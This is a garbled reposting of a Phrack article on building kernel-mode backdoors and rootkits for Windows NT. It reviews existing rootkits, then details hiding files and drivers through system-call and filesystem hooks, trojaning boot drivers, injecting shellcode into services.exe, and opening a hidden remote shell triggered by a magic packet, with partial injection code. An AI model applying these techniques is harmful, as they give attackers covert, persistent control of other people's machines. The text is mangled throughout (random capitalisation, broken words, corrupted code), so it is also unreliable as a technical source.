Phrack's latest published internal nuclear status Rootkit technology details [转]

xiaoxiao2021-03-06  23

== phrack inc. ==

Volume 0x0b, Issue 0x3e, PHILE # 0x06 of 0x10

| = --------------- = [kernel-mode backdoors for windows nt] = -------------- = |

| = ------------------------------------------------ ----------------------- = |

| = ----------------- = [Firew0Rker ] = ---------------- = |

| = ---------------- = [the noBodies ] = --------------- = |

- [TABLE OF Contents

1 - preface

2 - Overview of existing kernel-mode backdoors for Windows NT

2.1 - NTROTKIT

2.2 - HE4HOOK

2.3 - Slanret (Ierk, Backdoor-Ali)

3 - Obscurity On Disk, in Registry and in Memory

4 - My Variant: Thorny Path

4.1 - Shell

4.2 - Activation and Communication with Remote Client

4.3 - Obscurity on Disk

5 - conclusion

6 - Epilogue

7 - List of buy Sources

8 - files

- [1 - Preface

This article is intended for Those Who Know The Architecture of The

Windows NT Kernel and the Principles of Of Of Nt Drivers. This

Article Examines Issues Involved in the development of kenel-mode tools

For Stealthy Remote Administration Of Windows NT.

Recently There Has Been a TENDENCY OF EXTENDING The Use of Windows NT

(2000, XP, 2003) from it's classical stronghold as Home and

Office OS To Servers. At the Same Time, The Outdated Windows 9x Family Is

Replaced by the Nt Family. Because of this it Should Be Evident That Remote

Administration Tools (Backdooors) and UNNoticeable Access Tools (Rootkits)

For the NT Family Have a Certain Value. Most of the Published Utilities

Work in user-mode and can thus be detected by Antivirus Tools or by manual

Inspection.

It's quite another matter those Works in keNel-mode: They can hide

From Any User-Mode Program. Antivirus Software Will Have to Suplly Kernel-Mode Components in Order To Detect a kernel-mode-backdoor. Software EXISTS

That Protects Against Such Backdoors (Such as IPD, "Integrity Protection

Driver "), But it's use is not widely spread. Kernel mode backgrounddoors area

As Widely Used As The Could Be Due To Their Relative Complexity In Comp-

Arison with user-mode background.

- [2 - Overview of existing kernel-mode backdooors for Windows NT

This Section Briefly Reviews Existing Kernel-Mode Backdoors for Windows

NT.

---- [2.1 - NTROTKIT

Ntrootkit (c) by Greg Hoglund and a Team of Free Developers [1] IS A

Device Driver for Windows NT 4.0 and 2000. It's Possibilities (Implement

And potential:

- Receiving Commands from a Remote Client. The RK_PACKET MODULE CONTAINSS

A Simplified IP-Stack, Which Uses Free IP-Address from The Subnet Where

The Host On Which Ntrootkit Has Been Installed Is Situated.

IT's Mac and IP Addresses Are Hardcoded in The Source. Connection with

The rootkit at this ip is carried out via a TCP Connection to any port.

The Available Commands in rk_command.c Are:

PS - List Processes

Help - Self Explainatory

Buffertest, Echo and debugint - for debugging purpose

Hidedir - Hide Directory / File

HideProc - Hide Process (ES)

SniffKeys - Keyboard Spy

There Are Also Imcomplete Pieces of Code: Execute Commands Received VIA

A COVERT CHANNEL AND STARTING A WIN32-Process from A Driver (a hard and

Complicated Task.

- Encrypt All Traffic USING SCHNEIER's Blowfish Algorithm:

RK_BLOWFISH.C IS present, But not (yet?) Used

- Self-Defense (rk_defense.c) - Hide Protected Objects (in this

Case: registry keys), Identified by the string "_root_"; RedirectLaunched Processes.

The Hiding of Processes, Directories and Files As IMPLEMENTED in

RK_IOMAN.C IS DONE THROUGH Hooking The Following Functions:

Ntcreatefile

Zwopenfile

ZWQueryDirectoryFile

Zwopenkey

ZwQueryKey

ZWQueryValuekey

ZwenumerateValueKey

ZwenumerateKey

ZWSetValueKey

ZWCREATEKEY

The Way to Detect this rootkit:

Make Direct Request to FileSystem Driver, Send Irp To It. There IS

One More Module That Hooks File Handling: RK_Files.c, Adopted from

Filemon, But it is not used.

- Starting Processes: An Unfinished Implementation of It Can Be Found

IN RK_COMMAND.C, Another One (Which IS Almost Complete and Good)

IN rk_exec.c

THE IMPLEMENTATION SUFFERS from The Fact That ZW * Functions Which Are

Normally Unavailable to Drivers Directly Are Called THROUGH THE SYSTEM

Call Interface (int 0x2e), Leading to qublems with diffreent version

Of the NT Family as System Call Numbers Change.

IT Seems Like The Work ON NTROOTKIT IS VERY LOOSELY COORDINATED: EVERY

Developer does what (s) he considers neededed or urgent. ntrootkit does

NOT Achieve Complete (or Sufficient) Invisibility. It Creates Device

Named "Ntroot", Visible from User-Mode.

When Using ntrootkit for anything practice, one will new some means

Of intertion with the rootkitted system. Shortly: There Will be the

Need for some sort of shell. ntrootkit itself can not give out a shell

Directly, Although It Can Start a Process - The Downside Is That That

I / O of That Process Can Not Be Redirected. One is thus forced to start

Something Like Netcat. It's Process Can Be Hidden, But it's TCP-Connection

Will Be Visible. The Missing Redirection of I / O Is A Big DrawBack.however, NTROOTKIT Developments IS Still in Progress, And It Will

Probably Become A Fully-Functional Tool for Complete and Stealthy Remote

Administration.

---- [2.2 - HE4HOOK

THIS Description is based on [2]. The FileSystem Access Was Hooked VIA

Two Different Methods in The Versions Up to and include 2.15b6. Only ONE

Of it works at One Time, And in Versions After 2.15B6 The First Method WAS

REMOVED.

Method A: hook kernel syscalls:

================================

ZwcreateFile, Zwopenfile - Driver Version 1.12 and from 1.17 to

2.15beta6

IOCREATEFILE - FROM 1.13 to 2.15beta6

ZwQueryDirectoryFile, ZWClose - Before 2.15beta6

Almost All these Exported Functions (ZW *) Have The Following Function

Body:

Mov Eax, NumberFunction

Lea Edx, [ESP 04H]

INT 2EH; Syscall Interface

The "Numberfunction" is The Number of the Called Function in The Number

Syscalls Table (Which Itself Can Be Accessed Via The Global Variable

KeserviceDescriptable). This Variable Points to Following Structure:

Typedef struct systemserviceDescriptable

{

SSD SystemServicedescriptors [4];

} SSDT, * LPSSDT;

Other Structure:

TypeDef void * sstat [];

Typedef unsigned char sstpt [];

Typedef sstat * lpsstat;

Typedef sstpt * lpsstpt;

Typedef Struct SystemServiceDescriptor

{

LPSSTAT LPSYSTEMSERVICETABLEADDRESSTABLE;

Ulong DwfirstServiceIndex;

Ulong dwsystemServentAblenumentries;

LPSSTPT LPSYSTEMSERVICETABLEPARAMETABLE;

} SSD, * LPSSD;

The descriptorTable Pointed to by keserviceDescriptable is on-fli

Accessible from Kernel Mode. in User-Mode, There IS Something CalledKeserviceDescriptAbleshadow - Unfortunately It is not exported.

Base Services Are IN

KeserviceDescriptable-> SystemServicedescriptors [0]

KeserviceDescriptAbleshadow-> SystemServicedescriptors [0]

KernelMode GUI Services Are in

KeserviceDescriptAbleshadow-> SystemServicedescriptors [1]

Other Elements of this Tables at momentime [2] WAS

Written, in All Versions Up to WinNT4 (SP3-6) and Win2k Build 2195.

Each Element of the Table Is A SSID Structure, Which Contains the

FOLLOWING DATA:

LPSYSTEMSERVICETABLEADDRESSTABLE - A Pointer to an Array of Addresses

Of Functions That Will BE Called IF

a matching syscall is caled

DWFirstServiceIndex - Start Index for the First Function

DWSYSTEMSERVICETABLENUMENTRIES - NUMBER of Services in Table

LPSYSTEMSERVICETABLEPARAMETABLE - An Array of Bytes Specifying The

Number of bytes from the stack That

Will Be Passed THROUGH

In Order to Hook a System Call, He4HOOKINV Replaces The Address Stored in

KeserviceDescriptable-> SystemServiceDescriptos [0] .lpsystemServiceTableAddresStablein

WITH a Pointer to It's OWN TABLE.

One Can Interface With He4hook, Your Own Services To The

System call Tables. He4hooknot Updates Both Tables:

- keservicedescriptable

- keserviceDescriptAbleshadow.

Otherwise, IT Updated Only KeserviceDescriptable, New Services

Would Be Unavailable from Usermode. To Locate KeserviceDescriptOrTable-

Shadow The Following Technique IS Used:

The Function KeaddsystemServentable Can Be Used to Add Services To The THE

Keernel. It can add service to Both Tables. Taking Into Account That ITS

0-TH Descriptor is identical, it's possible, by scanningkeaddsystemserviceetable function's code, to find the address of the shadow

Table. You can see how it it is done in file he4hookv.c, function

FINDSHADOWTABLE (VOID).

IF this Method Fails for Some Reason, a Hardcoded Address Is Taken

(KeserviceDescriptable-0x230) as location of the shadow table. This

Address Has Not Changd Since Winnt SP3. Another Problem Is The Search

For The Correct Index INTO The Function Address Array. as almost all zw *

Functions Have An Identical First Instruction (Mov Eax, Numberfunction),

One Can Get a Pointer to the Function Number Easily by Adding One Byte

To the address exported by ntoskrnl.exe

Method B: (for Driver Versions 2.11 and higher)

=================================================

The Callback Tables Located in The Driver_Object of The File System

Drivers Are Patch: The IRP Handlers of The Needed Drivers Are Replaced.

This include replacing the point point function handlers

(Driver_Object-> Majorfunction) AS Well As Replacing Pointers to the

Drivers unload procedure (driver_Object-> driverunload).

The Following Functions Are Handled:

IRP_MJ_CREATE

IRP_MJ_CREATE_NAMED_PIPE

IRP_MJ_CREATE_MAILSLOT

IRP_MJ_DIRECTORY_CONTROL -> IRP_MN_QUERY_DIRECTORY

For A More Detailed Description of the Redirection of File Operations

REFER TO The Source [2].

---- [2.3 - Slanret (Ierk, Backdoor-Ali)

The Source Code for this is unavailable - IT WAS Originally Disco-

Vered by Some Administrator on His Network. It is a Normal Driver ("Ierk8243.sys") Which Periodically Causes BsoDs, and is visiable as a

Service Called "Virtual Memory Manager".

"Slance Is Technically Just One Component of A

Root Kit. It comes with a straightforward backdoor

Program: a 27 Kilobyte Server Called "Krei" That

Listens on an open port and grants the HACKER Remote

Access to the system. The Slanret Component IS A

Seven Kilobyte Cloaking Routine That Burrows Into Tha

System As a Device Driver, Then Accepts Commands from

The Server Instructing It On What Files or Processes

"[3]

---- [3. Stealth On Disk, in Registry and in Memory

The Lower The I / O Interception in A Rootkit Is Performed, The Harden

IT Usually Is To Detect It's Presence. One Would Think That A Reliable

Place for Interception Would Be The Low-Level Disk Operations (READ / WRITE

Sectors). This Would Require Handling All FileSystems That Might Be on

The Hard Disk Though: FAT16, FAT32, NTFS.

While Fat Was Relatively Easy to DEAL with (AND Some Old Dos Stealth

Viruses Used Similar Techniques An Implementation of Something Similar

On Winnt Is A Task for Maniacs.

A Second Place to Hook Would Be Hooking Dispatch Functions Of File-

System Drivers: Patch DriverObject-> Majorfunction and Fastiodispatch in

Memory or Patch The Drivers on Disk. this has the advantage of being re-

LATIVELY UNIVERSAL AND IS The Method Used in HE4HOOKINV.

A Third Possibility Is Setting A Filter On A FileSyste Driver (FSD).

This Has No Advantages In Comparison with the previous method, but HAS

The Drawback of Being More Visible (Filemon Uses this approach). The

Functions ZW *, IO * Can death the Ke-service, the function body. IT IS

USUALLY QUITE EASY TO Detect That Pointers in KeserVicedescriptOr

Point to Strange Locations Or That The Function Body of a Function HAS

Changed. A Filter Driver is Also Easy To Detect by Calling IoGetDevice-

ObjectPointer and the checking device_Object-> stacksize.

All Normal Drivers Have The Their Own Keys in The Registry, Namely in

HKEY_LOCAL_MACHINE / SYSTEM / CURRENTCONTROLSET / SERVICES.

The Abovementioned Rootkits Can Hide Registry Keys, But Obviously,

If the system is booted "cleanly", an administrator can see anything That

Was Hidden. One Can Also Load A Rootkit Using ZWSETSYSTEMINFORMATION

SystemloadAndCallImage) without the need to create any registry keys. AN

Example of this Technique Can Be Found In [6].

A rootkit loader in a Separate File is to unstealthy. It might be a

Smarter Move To Patch That Call Into Some Executable File Which IS Part of

The System Boot. One Can Use any Driver or User-Mode Program That Works

WITH SUFFICIENT Privileges, or any dll Linked to by it. One Has to ask one

Question though: if the newly introduces, need, to be hidden anyway,

Why make two similar but different (for Hiding Changes TO A

File As Well As Hiding The EXISTANCE OF A FILE) INSTAND OF LIMITING OUR-

SELVES to One?

IN MOST CASES One Can Target Null.sys. Implementing It's FunctionAlity

Is as easy as "Hello World", and this is why it is usually replaced with a

Trojan. But if we are going to have a procedure for Hiding Changes TO A

File, we can replace Any Driver with a Trojan That Will Substute THE

Content of the replaced file with the Original Content to Everyone (INCL-UDING THE KERNEL). Upon Startup, IT Will Copy Itself To Some Allocated

Memory Area and Start a thread there.

This Will Make The Trojan Almost Unnoticeable in Memory: no system

Utility Can See the Driver Any More, As It Is Just An Anonymous Memory

Page Amongst Many. We do not even need a thread, using intercepted IRP

Dispatch functions of some driver (driverObject-> majorfunction [IRP_MJ_XXX]).

We can Also Use IOQUEWORKITEM AND KeinsertQueuedpc, So No Additional

Threads in System Will Be Visible In The Task Manager. After this is done

The Trojan Can Unload The Driver IT WAS Started from, And Reload It in A

Clean (unchanged) Variant. AS A Result, High Levels of Stealth Will BE

Achieved by Relative SIMPLE Means. The Original Content of the Manipu-

Lated File Could for Example Be Stored In The Trojan's File After the THE

Trojan itself.

IT Will Then Be Sufficient to Hook All FSD Requests (IRP AND FASTIO)

And Upon Access Change The Position (and size of the file).

(CurrentirPstackLocation-> parameters. *. Byteoffset)

- [4 - My Variant: The Thorny Path

---- [4.1 - Shell

I Originally Intended to Do Something Similarily Simple As Standard

User-mode code: Just Pass A socket handle for stdin / stdout / stderr to the

NEWLY CREATED CMD.EXE Process. I DID NOT FIND A WAY to Open A Useseful

Socket from a driver thing, as the interface with the Afd Driver (kmode

Core of Winsock, is undocumented. Reverse-Engineering It's Usage WAS NOT

An Option Either as Due To Changes Between Versions My Technique Would Be

Unreliable. I had to find a different.

First Variant

=============

We Could Start Our Code in The Context of some process, using a shell-code quite similar to thing buy in exploits. The code could wait for a tcp

Connection and start cmd.exe with redirected I / O.

I Chose this Way when I Tired of trying to start a full-fledged win32

Process from a driver. The shellcode is position-independent, search

Kernel32.dll in Memory and Loads the Winsock Library. All this need

Done is injecting the shellcode into the address space of a process and

Pass Control to the entry point of the shellcode. however, in the process

Of doing this the Normal Work of The Process Must Not Be Interrupted, Be-

Cause A Failure In a critical system process Will Lead to a failure of there

Whole system.

So We need to allocate memory, Write shellcode there, and create a

Thread with Eip = entry point of the shellcode. Code to do this can be

Found in the attach file shell.cpp. unfortunately, When CreateProcess

Is Called from The Thread Started in this way it failed, MOST Probably

Because Something That CreateProcess Relies Upon Was Not Initialized Pro-

Poerly In The Context of Our Thread. We thus need to call createprocess

From A Thread Context Which Has Everything That CreateProcess Needs ini-

TIALIZED - We're Going to Take A Thread Which Belongs to The Process WE

Are Intruding Into (i buy setthreadcontext for That). One Needs to Re-

Store The State of The Thread Prior To The Interruption SO IT CAN Contiue

It's Normal Operation.

So We need to: save thread context via getthreadContext, set the EIP

To Our Context Via setthreadContext, Wait for the code to completion, and

The Restore The Original Conta. The Rest Is Just A Usual Shellcode

For Windows NT (Full Code In Dummy4.asm) .one unsolved problem remains: if the thread is in waiting state, IT

WILL NOT Run Until it wakes up. Using Zwalertthread Does Not Yield Any Re-

Sultiffle Wait State. Fortunately, The THE

Thread in Services.exe Worked WITHOUT A Problem - this Does Not Imply IT

Will Stay Like this in The Future Though, SO i Continued My Research:

Second Variant

==============

Things Are Not As Easy As [4] Makes Them Sound. Creating a ful

Fledged Win32-Process Requires It's Registration In The CSRSS Subsystem.

This is acid, for sale, csrclientcallserver (), Which Receives All

Necessary Information About The Process (Handles, TID, PID, FLAGS). The

Functions Calls ZwrequestWaitreplyport, Which Receives A Handle of A Pre-

Viously Opened Port for Connection with CSRSS.

THISTEM Process Context. Opening It Never

Succeeded (ZWConnectport Returned Status_Port_Connection_refused). Play-

ING with security_quality_of_service didn't help. While Disassembly

NTDLL.DLL I SAW That Zwconnectport Calls Were Preceded by ZwcreateSection.

But there is no time and no desire to play with sections. Here is the

Code That Didn't Work:

Void informcsrs (Handle Hthread, Ulong Pid, ​​Ulong TID)

{

CSRMSG CSRMSG;

Handle hcurprocess;

Handle HandleIndex;

PVOID P;

_asm Int 3;

Unicode_string portname;

RTLINITUNICODESTRING (& portname, l "// windows // apiport);

Static security_quality_of_service qos =

{SizeOf (QoS), SecurityAnonymous, 0, 0};

/ * static security_quality_of_service qos =

{0x77dc0260,

(_Security_impersonation_level) 2, 0x120101, 0x10000}; * / dword ret = ZWConnectport (& HandleIndex, & Portname, & QoS, NULL,

NULL, NULL, NULL, NULL;

IF (! RET) {

RTLZEROMEMORY (& CSRMSG, SIZEOF (CSRMSG);

Csrmsg.Processinformation.hprocess = HProcess;

Csrmsg.Processinformation.hthread = hthread;

CSrmsg.ProcessInformation.dwprocessid = PID;

CSrmsg.ProcessInformation.dwthreadId = TID;

Csrmsg.portMessage.Messagesize = 0x4c;

CSrmsg.portMessage.DataSize = 0x34;

CSrmsg.csrsSMessage.opcode = 0x10000;

ZwRequestWaitrePort (HandleIndex, (Port_Message *) & CSRMSG,

(Port_message *) & csrmsg);

}

}

The Solution To The Problem Was Obvious; Switch Context To One in

Which the port is open, e.g. to the context of any win32-process. i I I INSER-

TED KeattachProcess (HelperProcess) Before Calling Nebbet's Informcss,

And kedetachProcess AfterWards. The role of the helperprocess Was Taken

By Calc.exe.

When I Tried Using KeattachProcess That Way I Failed Though: The Con-

TEXT WAS Switch (Visible Using The Proc Command in Softice), But CSR-

ClientCall Server Returned Status_illegal_function. Only Uncle Bill Knows

What was happening inside csrs.

When Trying to frame the what whole process creation function Into

KeattachProcess / KedetachProcess Led to the Following Error When Calling

ZwcreateProcess: "Break Due to Kebugchex (UnhandLend Kernel Mode)

Error = 5 (Invalid_Process_attach_attempt) ... ".

A Different Way to Execute My Code in the Context of An Arbitrary

Process IS APC. The APC May Be Kmode or User-Mode. As Long As Only Kmode

APC May Overcome Nonalertable Wait State, All Code for Process Creation

Must Be Done in Kernel Mode. Nebbet's Code Normal Works AT

Irql == APC_LEVELCODE EXECUTIONIN THE CONTEXT OF A GIVEN WIN32-Process By Means of APC IS

Implement in the startshell () function, in file shellapc.cpp.

Intertion with the process

==============================

Starting a process isn't all. The Backdoor Still Needs to Communicate

With it: it is necessary to redirect it's stdin / stdout / stderr to out

Driver. We Could Do this Like Most "Driver App" -systems: Create a Device

That Is visible from user-mode, open it usings zwopenfile and pass the

Handle to the Starting Process (stdin / stdout / stderr). But a named device

Is Not Stealthy, Even IF WE Automatically Create a Random Names. This is IS

Why I have chosen to use named pipes instead.

Windows NT Uses Named Pipes with names like win32pipes.% 08X.% 08X (Here

% 08X Is Random 8-Digit Numbers) for Emulation of Anonymous Pipes. IF WE

Create One More Such Pipe, NoBody Will Notice. Usually, One Uses 2 Anon-

YMOUS r redirecting I / o of a console application in Win32, But by

Using a named Pipe One Will Be Sufficient AS IS BI-DIRECTIONAL. THE

Driver Must Create A Bi-Directional Named Pipe, And Cmd.exe Must Use IT's

Handle as stdin / stdout / stderr.

The Handle Can Be Opened in Both Kmode and User-Mode. The final Ver

Sion Uses The First Variant, But I Have Also Experimented with The Second

Variant - Being Able To Implement Different Variants May Help Evade Anti-

Viruses. Starting a process with redirected I / o Has Been Completely IMPLE-

MENTED in kenel mode in the file nextcreateprocess.cpp.

There is: The Fun-

Ctions That Are Not Exported from Ntoskrnl.exe But from NTDLL, Are Dyn-

Amicly Imported (See NTDLDYNAMICLOADER.CPP). The Handle to the Named

Pipe is Opened with Zwopenfile () and passed to the starting process with

ZwduplicateObject with duplicate_close_source flag.

For Opening The named Pipe from User Mode I INJECT CODE INTO A START-

I attess. I attesed the patch (nebbetcreateprocess.diff) for edu

IT Adds a code snippet to a starting process. The

PATCH WRITES CODE (Generated By A C Compiler) To a Process's Stack. for

Independence That Code Is A Function Which AccEpts a Pointer To a struc-

.................

THIS STRUCTURE AND A Pointer To It is Written To The Stack Together with

The code of the function itself. ESP of the starting thread is set 4 bytes

Bellow the Pointer to the parameters of the function, and each to it's en-

Try Point. Once The Injected Code Is Done Executing, IT ISSUES A CALL BACK

To the Original Entry Point. This Example Can Be Modified to Be Yet

Another Way of Injecting Code Into A Working Userland Process from Kernel

Mode.

--- [4.2 - Activation and Communication with The Remote CLIENT

IF a listening socket is permanently open (and visible to netstat -an)

It is likely to be discovered. Even if one hides the socket from netstat

Is Insufficient As A Simple Portscan Could Uncover The Port. To Remain

Stealthy A Backdoor Must Not Have Any Open Ports Visible Locally Or Re-

Motely. It is necessary to use a special packet, Which on the one hand

Must be unambigously identified by the backdoor as acidiVation signal, yet

At The Same Time Must Not Be Suspicious As To Trigger Alerts or Be Fil-Tered by FireWalls. The Activation Signal Could E.g. Be a Packet Contain

ING A Set of Packets at Any Place (Header or Data) - All Characteristics

Of the packet (protocol, port etc) Should Be ignored. this allows for max-

Imum flexibility to Avoid Aggressive Packet Filters.

Obviously, We Have to Implement Some Sort of Snifer in Order To

Detect Such a Special Packet. in Practice, We Have Several Choices on ~

TO Implement the Sniffer:

1) Ndis Protocol Driver (Advantage: Possibility Not Only to Receive

Packets, But Also to Send - Thus Making Covert Channel for

Communication with Remote Client Possible; Disadvantage: DIFFICULTIES

WITH Supporting All Types of NetWork Devices) - Applied in ntrootkit;

2) Use Service Provided by ipfilterdriver on w2k and higher

(Advantages: Simple Implementation and Complete Independence

From Physical Layer; Disadvantage: Receive ONLY;

3) Setup Filter on 1 of Network Drivers, THROUGH Which Packets Pass

Through (see [5]);

4) Direct Appeal To NetWork Drivers by Some Other Means for Receive

And Send Packets (Advantage: Can Do Everything; Disadvantage:

UNEXPLORED AREA).

I Have Chosen Variant 2 Due To It's Simplicity and Convenience for Both

Described Variants of Starting a shell. Ipfilterdriver Used Only for

Activation, Further Connection is Made Via TCP BY Means of TDI.

An Example of The usage of ipfilterdriver can be seen in filtering.cpp

And MPFD_Main.cpp. Initfiltering () Loads the ipfilterdriver if it isn't

YET loaded. Then IT Calls Setupfiltering, Which Sets a filter with

IOCTL_PF_SET_EXTENSION_POINTER IOCTL. Packetfilter () is Theten Called ON

Each IP Packet. if a keyword is detected startshellevent is set and causesa shell to be started.

THE VARIANT Using Shellcode in An EXInship Process Works with the

Network in User-Mode, thus we do not need to describe Anything in detail.D.cides NETWORK IN.

A kernel-mode tcp shell is ustement in ntbackd00r.cpp. When cmd.exe

Is Started from A Driver with Redirected I / O, The Link is Maintained by

The Driver. i TOOK The TCPECHO EXAMPLE AS Base for the CommunitCation MOD-

Ule in Order NOT To Waste Time Coding A TDI-Client from Scratch.

Driverentry () Initialise TDI, Creates a listening socket and an unnamed

Device for ikueueWorkItem.

For Each CONENCTION An Instance of The Session Class IS CREATED. IN

IT's onconnect handler a sequence of operations for Creating a process.

Process. As long as this handler is caled at Irql == dispatch_level, it's

Impossible to do all necessary Operations Directly in it. it's even

Impossible to Start A Thread Because PscreateSystemThread Must Be Called

Only At Passive_level According to the ddk. there terefore the onconnect

Handler Calls IoallocateWorkItem and iOqueueWorkItem in Order To Do Any

Further Operations Accomplished in WorkItem Handler (ShellStarter

At Passive_LEVEL.

ShellStarter Calls Startshell () And Creates A Worker Thread

(DataPumpThread) and 2 Events for Notifying It About Arriving Packets and

Named Pipe I / O Completion. Interaction Between The WorkItem / Thread and THREAD AND

Session Class Was Built with Taking A Possible Sudden Disconnect and

Freeing session Into Account: syncronisation is acid osplament by disable

Interrupts (It's Equivalent of Raise Irql to Highest) and by means of

DriverStudio classes (Spinlock Inside). The Thread Uses a Copy of Some

Data That Must Be Available Even After Instance of Session Was Deleted.Initially, DataPumpthread Starts One Asynchronous Read Operation

(Zwreadfile) from named pipe - Event HPIPEEVENTS [1] Notifies About it's

Completion. The Other Event HPIPEEVENTS [0] Notifies About Data ArriVal

From the network. after this zwwaitformultipleObjects Executed in a loop

Waits for One of these Events. in Dependence of What Event WAS SIGNALED,

The Thread Does a Read from The name, or

Does a read read from FIFO and WRITES to PIPE. IF The Terminating Flag

Is Set, Thread Closes All Handles, Terminates the cmd.exe process, and

Terminates Itself. Data arrival is signalted by the hpipeevents [0]

Event in session :: OnRecEive and session :: onreceiveComplete handlers.

IT Also Used In Conjunction with The Terminating Flag To Notify The Thread

About termination.

Data Resceived from the network is buffered in pwbytepipe fifo.

DataPumpthread Reads Data from The FIFO To Temporary Buffers Which Are

Allocated for Each I / O Operation and Writes Data asynchronously to the

PIPE (ZWWRITEFILE). The buffers are freed asynchronouslyly in the apcallback-

WriteComplete handler.

Data Transfers from the Pipe to the network area also accountplashed through

Temporary Buffers That Are Allocated Before ZwreadFile and freed in

Session :: OnsendComplete.

Paths of Data Streets and Temporary Buffers Handling Algorithm:

Namedpipe - (New Send_buf; ZwreadFile) -> Temporary BUFFER

Send_buf - (send) -> Network -> OnsendComplete {Delete Send_buf}

NetWork - (OnRecEive) -> PWBYTEPIPE - (New RCV_BUF) -> Temporary

Buffer RCV_BUF - (Zwwritefile -> NamedPipe ->

ApcallbackWriteComplete {delete rcv_buf}

In session :: OnRecEuth Handler Data IS Written to the FIFO AND THEDATAPUMPTHREAD IS Notified About it's arrival. If The Transport Has More

Data Available Than Idicated Another Buffer Is Allocated to Read THE

REST. WHEN THE THETS DONE - Asynchronously - OnRecEcepticalComplete ()

Handler is Called, Which Does The Same as OnRecEive.

---- [4.3 - Stealth on Disk

I'VE IMPLEMENTED SIMPLE DEMO MODULE (File Intercept.cpp) Which Hooks

Dispatch Functions of a Given FileSystem Diver To Hide The First N bytes of

a given file. To hook fsd call e.g. Intercept (l "// filesystem // fastfat").

There is Only 2 fsds this may be necessary to hook: Fastfat Ant NTFS,

Because nt can boot from these filesystems.

Intercept () Replaces Some Driver Dispatch Functions

(PDRIVEROBJECT-> Majorfunction [...], PDRIVEROBJECT-> FASTIODISPATCH -> ...).

When Hooked Driver Handles Irps and Fastio Calls The Corresponding Hook

Functions Modifies File Size and Current File Offset. Thus all user-mode

Programs See file n bytes smaller Than ORIGINAL, Containing Bytes n to

Last. It allows to import trick described in Part 3.

- [5 - Conclusion

In this Article I Compared 3 EXISTING KERNEL-MODE Backdooors for

Windows NT from a Programmers Point of View, Presented Some Ideas on Making

A Backdoor Stealthier As Well As My Thorny Path of Writing My OWN KERNEL-

Mode Backdoor.

What Wend Not Describe Was a Method of Hiding Open Sockets and TCP

Connections from Utilities Such as NetStat and fport. Netstat Uses

SNMPUTILOIDCPY (), AND FPORT TALKS DIRECTLY with DRIVERS

(/ Device / UDP and / Device / TCP). To Hide Something from these and all

Similar Tools, It's Necessary to Hook Aforementioned Drivers with One Of

Methods Mentioned In Section "Stealth on Disk, in Registry and InMemory". I DID NOT Explore That Issue Yet. Probably, ITS Consideration

Deserves a Separate Article. Advice for Those Who Decided to Move This

Direction: Begin with the study of iPlog Sources [5].

- [6 - Epilogue

WHEN / IF this Article Will Be Published in Phrack, The Article Itself

(Probably Improved and Supplement), ITS Russian Original, and Full Code

Of all used examples will be published aturis http://www.nteam.ru

- [7 - List of used sources

Http://rootkit.com

2. "LKM-Attack On Winnt / Win2k"

http://he4dev.e1.bmstu.ru/he4ProjectRepositary/hooksyscall/

3. "Windows Root Kits A Stealthy Threat"

http://www.securityfocus.com/news/2879

4. Garry Nebbet. Windows NT / 2000 Native API Reference.

5. "IP Logger for Winnt / Win2k"

Http://195.19.33.68/he4projectrepositary/iplog/

- [8 - Files

---- [8.1 - shell.cpp

#include "ntdll.h"

#include "dynlinefromntdll.h"

#include "ntdllynamicloader.h"

#if (dBG)

#define DBGBKPT __ASM INT 3

#ELSE

#define DBGBKPT

#ENDIF

Const stackreserve = 0x00100000;

Const stackcommit = 0x00001000;

EXTERN BOOLEAN TERMINATING;

EXTERN "C" char shellcode [];

EXTERN "C" const clid_addr;

EXTERN "C" int const sizeof_shellcode;

Namespace NT {

Typedef struct _system_processes_nt4 {// information class 5

Ulong nextentryDelta;

Ulong threadcount;

Ulong reserved1 [6];

Large_integer createtime;

Large_integer usertime;

Large_integer kernetime;

Unicode_string processname;

KPRIORITY BASEPRIORITY

Ulong processid;

Ulong inheritedFromProcessId;

Ulong handlecount;

Ulong reserved2 [2];

VM_Counters vmcounters;

System_threads threads [1];} system_processes_nt4, * psystem_processes_nt4;

}

Bool FindProcess (PCWSTR Process, Out NT :: PClient_id ClientID)

{

NT :: Unicode_String ProcessName;

NT :: RTLINITUNICODESTRING (& ProcessName, Process);

Ulong n = 0xfff;

Pulong Q =

(Pulong) NT :: EXALLOCATEPOOL (NT :: NonPagedPool, N * Sizeof (* q));

While (nt :: zwquerysysteminformation)

NT :: SystemProcesSandthreadsinformation, Q, N * SizeOf * q, 0))

{

NT :: EXFREEPOOL (Q);

n * = 2;

Q = (pulong) NT :: exallocatepool

(NT :: NonPagedPool, N * SizeOf (* Q));

}

Ulong Majorversion;

NT :: Psgetversion (& Majorversion, NULL, NULL, NULL);

NT :: psystem_processes P

= NT :: psystem_processes (q);

Bool Found = 0;

Char ** pp = (char **) & P;

DO

{

IF ((p-> processname.buffer) && (! nt :: rtlcompareunicodestring

(& P-> ProcessName, & ProcessName, True))))

{

IF (MajorVersion <= 4)

* ClientID = ((nt :: psystem_processes_NT4) P) -> Threads [0] .clientId;

Else * clientid = p-> threads [0] .clientId;

FOUND = 1;

Break;

}

IF (! (p-> nextentryDelta) Break;

* PP = P-> NEXTENTRYDELTA;

WHILE (1);

NT :: EXFREEPOOL (Q);

Return Found;

}

Void Startshell ()

{

// Search NTDLL.DLL in Memory

PVOID PNTDLL = FINDNT ();

// Dynamical Link to functions not exported by ntoskrnl,

// But exported by NTDLL.DLL

Dynamic_load (ZWWRITEVIRTUALMEMORY)

Dynamic_Load (ZWProtectVirtualMemory)

Dynamic_load (zwresuMethread)

Dynamic_load (zwcreatethread)

Handle HProcess = 0, HTHREAD;

// debug breakpoint

DBGBKPT;

NT :: Client_id Clid;

// Code Must Be Embedded Into Thiead, Which Not in Nonalertable Wait State.

// Such Thread Is in Process Services.exe, Let's Find IT

IF (!, "Services.exe" / * L "CALC.EXE" * /, & clid) {dBGBKPT; Return;};

NT :: Object_attributes attr = {sizeof (nt :: object_attributes), 0, null, obj_case_insensitive};

// Open process - Get it's descriptor

NT :: ZwopenProcess (& HProcess, Process_all_Access, & attr, & clid);

IF (! hprocess) {dBGBKPT;

Return;

/ * Nt :: process pi;

NT :: ZwQueryInformationProcess (HProcess, NT :: ProcessBasicinformation, & Pi, Sizeof (pi), null; * /

Ulong n = sizeof_shellcode;

PVOID P = 0;

PVOID ENTRYPOINT;

// Create Code Segment - Allocate Memory Into Process Context

NT :: ZwallocatevirtualMemory (HProcess, & P, 0, & n,

MEM_COMMIT, PAGE_EXECUTE_READWRITE

IF (! p) {DBGBKPT;

Return;

